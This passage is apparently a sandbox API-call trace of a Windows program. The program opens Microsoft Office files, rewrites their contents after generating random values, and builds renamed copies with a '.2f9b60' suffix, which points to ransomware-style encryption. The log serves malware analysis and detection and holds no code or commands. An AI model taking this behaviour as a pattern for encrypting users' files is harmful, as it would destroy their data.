lpOverlapped=0x0) returned 1 [0205.631] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x137e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8f0 [0205.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8f0) returned 1 [0205.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42de1150 [0205.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8f0 [0205.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9890 [0205.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9890) returned 1 [0205.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.635] WriteFile (in: hFile=0x1230, lpBuffer=0x42de1150*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3205faa0, lpOverlapped=0x0 | out: lpBuffer=0x42de1150*, lpNumberOfBytesWritten=0x3205faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de1150) returned 1 [0214.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431051a0 [0214.967] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.967] WriteFile (in: hFile=0x1230, lpBuffer=0x430bcf60*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x3205fb50, lpOverlapped=0x0 | out: lpBuffer=0x430bcf60*, lpNumberOfBytesWritten=0x3205fb50*=0x152, lpOverlapped=0x0) returned 1 [0218.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430bcf60) returned 1 [0218.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431adae0) returned 1 [0218.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb46d0) returned 1 [0218.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431adaa0) returned 1 [0218.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431051a0) returned 1 [0218.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc6e0) returned 1 [0218.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc7a0) returned 1 [0218.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc7d0) returned 1 [0218.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae380 [0218.900] wcscpy (in: _Dest=0x202ae380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" [0218.900] wcscat (in: _Dest=0x202ae380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.2f9b60" [0218.900] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.2f9b60", NtPathName=0x3205fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x4310a610 Thread: id = 2561 os_tid = 0x2070 [0155.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce24220 [0155.531] wcscpy (in: _Dest=0x1ce24220, _Source="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP") returned="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" [0155.531] wcscat (in: _Dest=0x1ce24220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\" [0155.531] wcscat (in: _Dest=0x1ce24220, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*" [0155.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99930 [0155.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5a40 [0155.532] wcscmp (_String1=".", _String2=".") returned 0 [0155.532] FindNextFileW (in: hFindFile=0x1ced5a40, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.532] wcscmp (_String1="..", _String2=".") returned 1 [0155.532] wcscmp (_String1="..", _String2="..") returned 0 [0155.532] FindNextFileW (in: hFindFile=0x1ced5a40, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0155.532] FindClose (in: hFindFile=0x1ced5a40 | out: hFindFile=0x1ced5a40) returned 1 [0155.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99930) returned 1 [0155.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24220) returned 1 [0155.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef00) returned 1 Thread: id = 2562 os_tid = 0x2074 [0155.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd")) returned 0x20 [0155.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd", dwFileAttributes=0x20) returned 1 [0155.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x122c [0155.541] GetFileSizeEx (in: hFile=0x122c, lpFileSize=0x320dfe40 | out: lpFileSize=0x320dfe40*=5617) returned 1 [0155.541] SetFilePointerEx (in: hFile=0x122c, liDistanceToMove=0x15ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.541] ReadFile (in: hFile=0x122c, lpBuffer=0x320dfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x320dfe08, lpOverlapped=0x0 | out: lpBuffer=0x320dfdc0*, lpNumberOfBytesRead=0x320dfe08*=0x4, lpOverlapped=0x0) returned 1 [0155.543] SetFilePointerEx (in: hFile=0x122c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0155.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaee0 [0155.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddafa0 [0155.544] NtQuerySystemTime (in: CurrentTime=0x320dfd00 | out: CurrentTime=0x320dfd00*=132462177606718000) returned 0x0 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x595a23ed [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x6d918570 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x1f24259c [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x67766aae [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x56003233 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x30f3a497 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x3728a890 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x28afb67e [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x14722a73 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x576f6880 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x7128ecfb [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x511808ea [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x32f7a1ea [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x279ea09d [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x2a9416ee [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0xc109f81 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x2ec1b8a8 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x18189d6 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x67f62a6a [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x4f755ac7 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x2c2ce6d1 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x47734ae7 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x1966302 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x36faf96e [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x1832de8f [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x6d9ee233 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x28c48e9a [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x34623861 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x3aab4464 [0155.544] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x67f276d7 [0155.545] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0x39218a05 [0155.545] RtlRandomEx (in: Seed=0x320dfcf0 | out: Seed=0x320dfcf0) returned 0xf5bc7e1 [0155.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb030 [0155.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24220 [0155.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb060 [0155.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24220) returned 1 [0155.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddafa0) returned 1 [0155.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0155.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce186e0 [0155.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24220 [0155.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0155.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0155.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429409e0 [0155.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429445f0 [0155.581] ReadFile (in: hFile=0x122c, lpBuffer=0x429409e0, nNumberOfBytesToRead=0x15f1, lpNumberOfBytesRead=0x320dfcf0, lpOverlapped=0x0 | out: lpBuffer=0x429409e0*, lpNumberOfBytesRead=0x320dfcf0*=0x15f1, lpOverlapped=0x0) returned 1 [0155.582] SetFilePointerEx (in: hFile=0x122c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.582] WriteFile (in: hFile=0x122c, lpBuffer=0x429445f0*, nNumberOfBytesToWrite=0x15f1, lpNumberOfBytesWritten=0x320dfcf4, lpOverlapped=0x0 | out: lpBuffer=0x429445f0*, lpNumberOfBytesWritten=0x320dfcf4*=0x15f1, lpOverlapped=0x0) returned 1 [0162.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19170 [0162.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c191a0 [0162.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c191a0) returned 1 [0162.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429445f0) returned 1 [0162.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429409e0) returned 1 [0162.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24220) returned 1 [0162.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce186e0) returned 1 [0162.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7a9da0 [0162.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce186e0 [0162.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24220 [0162.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c191a0 [0162.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c191a0) returned 1 [0162.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f070 [0162.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c191a0 [0162.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c191d0 [0162.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c191d0) returned 1 [0162.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24220) returned 1 [0162.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce186e0) returned 1 [0162.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x42c15710 [0162.597] SetFilePointerEx (in: hFile=0x122c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.597] WriteFile (in: hFile=0x122c, lpBuffer=0x42c15710*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x320dfe10, lpOverlapped=0x0 | out: lpBuffer=0x42c15710*, lpNumberOfBytesWritten=0x320dfe10*=0x112, lpOverlapped=0x0) returned 1 [0164.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185f0 [0164.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0164.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae80 [0164.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae80) returned 1 [0164.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae80 [0164.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae50 [0164.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0164.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0164.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0164.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce185f0 [0164.710] sprintf (in: _Dest=0x1ce185f0, _Format="%c%c" | out: _Dest="83") returned 2 [0164.710] sprintf (in: _Dest=0x1ce185f2, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.710] sprintf (in: _Dest=0x1ce185f4, _Format="%c%c" | out: _Dest="c1") returned 2 [0164.710] sprintf (in: _Dest=0x1ce185f6, _Format="%c%c" | out: _Dest="11") returned 2 [0164.710] sprintf (in: _Dest=0x1ce185f8, _Format="%c%c" | out: _Dest="54") returned 2 [0164.710] sprintf (in: _Dest=0x1ce185fa, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.710] sprintf (in: _Dest=0x1ce185fc, _Format="%c%c" | out: _Dest="a0") returned 2 [0164.710] sprintf (in: _Dest=0x1ce185fe, _Format="%c%c" | out: _Dest="e7") returned 2 [0164.710] sprintf (in: _Dest=0x1ce18600, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.710] sprintf (in: _Dest=0x1ce18602, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.710] sprintf (in: _Dest=0x1ce18604, _Format="%c%c" | out: _Dest="fd") returned 2 [0164.710] sprintf (in: _Dest=0x1ce18606, _Format="%c%c" | out: _Dest="dc") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18608, _Format="%c%c" | out: _Dest="ae") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1860a, _Format="%c%c" | out: _Dest="4b") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1860c, _Format="%c%c" | out: _Dest="e1") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1860e, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18610, _Format="%c%c" | out: _Dest="77") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18612, _Format="%c%c" | out: _Dest="83") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18614, _Format="%c%c" | out: _Dest="0c") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18616, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18618, _Format="%c%c" | out: _Dest="34") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1861a, _Format="%c%c" | out: _Dest="3e") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1861c, _Format="%c%c" | out: _Dest="67") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1861e, _Format="%c%c" | out: _Dest="49") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18620, _Format="%c%c" | out: _Dest="18") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18622, _Format="%c%c" | out: _Dest="aa") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18624, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18626, _Format="%c%c" | out: _Dest="2b") returned 2 [0164.711] sprintf (in: _Dest=0x1ce18628, _Format="%c%c" | out: _Dest="05") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1862a, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1862c, _Format="%c%c" | out: _Dest="f5") returned 2 [0164.711] sprintf (in: _Dest=0x1ce1862e, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.711] RtlInitAnsiString (in: DestinationString=0x320dfe88, SourceString="834ac11154bfa0e77ea9fddcae4be12d77830cb2343e674918aab22b05f1f5b0" | out: DestinationString="834ac11154bfa0e77ea9fddcae4be12d77830cb2343e674918aab22b05f1f5b0") [0164.711] RtlAnsiStringToUnicodeString (in: DestinationString=0x320dfe58, SourceString="834ac11154bfa0e77ea9fddcae4be12d77830cb2343e674918aab22b05f1f5b0", AllocateDestinationString=1 | out: DestinationString="834ac11154bfa0e77ea9fddcae4be12d77830cb2343e674918aab22b05f1f5b0") returned 0x0 [0164.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c22b40 [0164.712] RtlFreeAnsiString (AnsiString="8") [0164.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0164.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae80) returned 1 [0164.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae50) returned 1 [0164.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15710) returned 1 [0164.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f070) returned 1 [0164.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c191a0) returned 1 [0164.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a9da0) returned 1 [0164.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19170) returned 1 [0164.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaee0) returned 1 [0164.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb030) returned 1 [0164.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb060) returned 1 [0164.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c22ab0 [0164.715] wcscat (in: _Dest=0x42c22ab0, _Source="834ac11154bfa0e7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\834ac11154bfa0e7") returned="C:\\Program Files\\Microsoft Office\\Office14\\834ac11154bfa0e7" [0164.715] wcscat (in: _Dest=0x42c22ab0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\834ac11154bfa0e7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\834ac11154bfa0e7.2f9b60" [0164.715] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\834ac11154bfa0e7.2f9b60", NtPathName=0x320dfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\834ac11154bfa0e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050bab0 Thread: id = 2563 os_tid = 0x2078 [0155.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp")) returned 0x20 [0155.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP", dwFileAttributes=0x20) returned 1 [0155.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1228 [0155.586] GetFileSizeEx (in: hFile=0x1228, lpFileSize=0x3231fbe0 | out: lpFileSize=0x3231fbe0*=289792) returned 1 [0155.586] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x46bfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.586] ReadFile (in: hFile=0x1228, lpBuffer=0x3231fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3231fba8, lpOverlapped=0x0 | out: lpBuffer=0x3231fb60*, lpNumberOfBytesRead=0x3231fba8*=0x4, lpOverlapped=0x0) returned 1 [0155.617] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0155.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb090 [0155.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb120 [0155.617] NtQuerySystemTime (in: CurrentTime=0x3231faa0 | out: CurrentTime=0x3231faa0*=132462177607498000) returned 0x0 [0155.617] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x669f1429 [0155.617] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x61ded034 [0155.617] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x138db32b [0155.617] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x586051b6 [0155.617] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x1fd12248 [0155.617] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x3c849093 [0155.617] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x11ad5147 [0155.617] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x7b81214a [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x313f68bd [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x7bef6bf8 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x79e4bb7b [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x47252eae [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x32ec7b17 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x457d4cdc [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x5bc63003 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x21a0ada4 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 